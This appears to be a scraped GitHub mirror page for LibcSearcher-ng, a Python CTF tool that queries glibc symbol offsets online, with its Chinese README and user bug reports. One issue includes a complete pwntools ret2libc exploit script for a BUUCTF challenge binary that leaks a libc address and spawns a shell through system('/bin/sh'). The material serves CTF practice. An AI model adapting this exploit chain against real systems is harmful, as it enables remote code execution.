GithubHelp home page GithubHelp logo

lan1kea / libcsearcher Goto Github PK

View Code? Open in Web Editor NEW
90.0 3.0 13.0 41 KB

🔍 LibcSearcher-ng -- get symbols' offset in glibc.

Home Page: https://pypi.org/project/LibcSearcher/

Python 100.00%
ctf pwn libc

libcsearcher's Introduction

LibcSearcher-ng


Introduction

  • 这里是全新的 LibcSearcher 实现。基于 libc-database 云端数据库而非本地数据库。
  • 原版 LibcSearcher 仓库由于年久失修,经测试发现其基本失效。
  • 选择新建一个项目而非基于原有 LibcSearcher 继续开发的原因如下:
    • 原仓库基于 libc-database ,拷贝其数据库中的部分常用 libc 文件,在本地进行求解。这一方案有两个问题:
      • libc 库不完整,仅包含了常用 libc 文件。若下载整个数据库则磁盘占用和下载成本过大。
      • 上游数据库更新时不方便及时获悉,且需要手动更新本地数据库。
    • libc-database 现已提供 web-api,可直接向其服务发起请求获取查询结果,解决了上述两个问题。
  • 同时为了确保 CTFer 们以前的 exp 的可用性,LibcSearcher-ng 将以与原 LibcSearcher 完全相同的接口来构建。
  • 比起原版 LibcSearcher 只多了一个缺点:断网就不可用了。🤣
  • 若需要基于本地数据库的可以抵御断网攻击的 LibcSearcher,github 上已有其它维护了相应实现的仓库。

目前发现libc-database所提供的服务器能承受的负载不高,有时会出现服务挂掉的情况(可能是难以处理国内的比赛期间大量的请求)。不过上次挂掉后niklasb说会考虑升级服务器。

可以使用如下命令直接测试服务器是否正常:

curl -X POST -H 'Content-Type: application/json' --data '{"symbols": ["strcat"]}' 'https://libc.rip/api/libc/libc6_2.27-3ubuntu1.2_amd64'


Installation

使用 pip

pip3 install LibcSearcher

更新

pip3 install -U LibcSearcher

使用本仓库

git clone https://github.com/dev2ero/LibcSearcher.git
cd LibcSearcher
python3 setup.py develop

如要更新,只需拉取最新代码后,重新在仓库目录内执行 python3 setup.py develop


Usage

from LibcSearcher import *
obj = LibcSearcher("fgets", 0x7ff39014bd90) # 使用一个已知符号地址作为初始约束,初始化 LibcSearcher
obj.add_condition("atoi", 218528) # 添加一个约束条件
obj.dump("printf") # 根据已有约束条件,查询某个符号在 Libc 中的地址

此外,比起以上原版接口,添加了如下些许姿势

len(obj) # 返回在当前约束条件下,可能的 Libc 数量

print(obj) # 若 Libc 已被唯一确定,打印其详细信息

for libc in obj :
    print(libc) # 实现了迭代器,打印(或其它操作)当前所有可能的 Libc 

obj.select_libc() # 打印可能的 Libc 列表,手动选择一个认为正确的 Libc
obj.select_libc(2) # 手动选择 2 号 Libc 作为正确的 Libc

libcsearcher's People

Contributors

zarkivy avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

libcsearcher's Issues

KeyError: 'main'

Traceback (most recent call last):
File "/root/Desktop/PwnExploits/[OGeek2019]babyrop.py", line 13, in
main_addr = elf.symbols['main']
File "/usr/local/lib/python3.10/dist-packages/pwnlib/elf/elf.py", line 164, in missing
raise KeyError(name)
KeyError: 'main'

之前写的脚本,之后就没动过了 是不是因为今天libc-database服务器炸了的原因?

考虑以后添加查询one_gadget查询支持吗?

例如:
libc = LibcSearcher('fgets', 0x7ff39014bd90)
libc_base = 0x7ff39014bd90 - libc.dump('fgets')
one_gadget_address = libc_base + libc.one_gadget() # 这里弹出一个像选择libc一样的东西让用户选择使用哪一个one_gadget

不能dump"/bin/sh"(TypeError: Object of type bytes is not JSON serializable)

image

File "exp.py", line 32, in
sh_addr = obj.dump(b'str_bin_sh')
File "/home/user/Software/LibcSearcher/LibcSearcher.py", line 69, in dump
return self.query_symbol(libc_id = self.the_libc['id'], symbol_name = symbol_name)
File "/home/user/Software/LibcSearcher/LibcSearcher.py", line 128, in query_symbol
result = requests.post(API_LIBC+libc_id, data=json.dumps(payload), headers=HEADERS)
File "/usr/lib/python3.8/json/init.py", line 231, in dumps
return _default_encoder.encode(obj)
File "/usr/lib/python3.8/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True)
File "/usr/lib/python3.8/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0)
File "/usr/lib/python3.8/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.class.name} '
TypeError: Object of type bytes is not JSON serializable

报错

Traceback (most recent call last):
File "exp.py", line 35, in
binsh_addr = libcbase + libc.dump('str_bin_sh')
File "/usr/local/lib/python3.6/dist-packages/LibcSearcher/LibcSearcher.py", line 69, in dump
return self.query_symbol(libc_id = self.the_libc['id'], symbol_name = symbol_name)
File "/usr/local/lib/python3.6/dist-packages/LibcSearcher/LibcSearcher.py", line 129, in query_symbol
return int(json.loads(result.text)['symbols'][symbol_name], 16)
KeyError: 'symbols'

TypeError: string indices must be integers

出现错误提示:TypeError: string indices must be integers
Traceback (most recent call last):
File "/home/yc0313/pwn/test.py", line 4, in
obj.dump("printf") # 根据已有约束条件,查询某个符号在 Libc 中的地址
File "/home/yc0313/.local/lib/python3.8/site-packages/LibcSearcher/LibcSearcher.py", line 68, in dump
self.determine_the_libc()
File "/home/yc0313/.local/lib/python3.8/site-packages/LibcSearcher/LibcSearcher.py", line 108, in determine_the_libc
self.select_libc()
File "/home/yc0313/.local/lib/python3.8/site-packages/LibcSearcher/LibcSearcher.py", line 76, in select_libc
print(str(index) + " - " + libc['id'])
TypeError: string indices must be integers
想问下是不是服务器挂了,作者看到麻烦能否修复一下

libcsearcher似乎不太好用了

我使用了redame中的实例代码,得出的libc版本为2.13,但是我实际的版本为2.31。(GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31.)

TypeError: string indices must be integers

Traceback (most recent call last):
File "/root/Desktop/poc.py", line 30, in
libcbase = read_addr - libc.dump('read')
File "/root/LibcSearcher/LibcSearcher.py", line 68, in dump
self.determine_the_libc()
File "/root/LibcSearcher/LibcSearcher.py", line 108, in determine_the_libc
self.select_libc()
File "/root/LibcSearcher/LibcSearcher.py", line 76, in select_libc
print(str(index) + " - " + libc['id'])
TypeError: string indices must be integers

完整Payload为
from pwn import *
from LibcSearcher import LibcSearcher
from libcfind import *
elf = ELF("/root/Desktop/Pwn Subject/level3")
io = process("/root/Desktop/Pwn Subject/level3")
write_plt = elf.plt['write']
read_got = elf.got['read']
main = elf.symbols['main']
print("Phase 1 Inprogress.")
payload_addr = (b'A' * 148 + p32(read_got) + p32(main) + p32(write_plt) )
io.sendline(payload_addr)
read_addr = u32(io.recv()[0:4])
print(hex(read_addr))
print("Phase 1 Completed.")
print("Phase 2 Inprogress.")
libc = LibcSearcher('read',read_addr)
libcbase = read_addr - libc.dump('read')
system = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
print("Phase 2 Completed")
print("Phase 3 Inprogress.")
print("Read Address: ",hex(read_addr))
print("Base Address: ",hex(read_addr))
print("System Address: ",hex(system))
print("/bin/sh Address: ",hex(bin_sh))
print("Phase 3 Completed")
payload = (b'A' * 148 + p32(bin_sh) + p32(system) )
io.sendline(payload)
io.interactive()

但是每次都会报错
level3.zip
level3是题目,BUUCTF中的jarvisoj_level3
已经连续3个题目这样子了,不知道到底是我的问题还是什么问题,但是复制人家的PoC也不行,不知道为啥

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.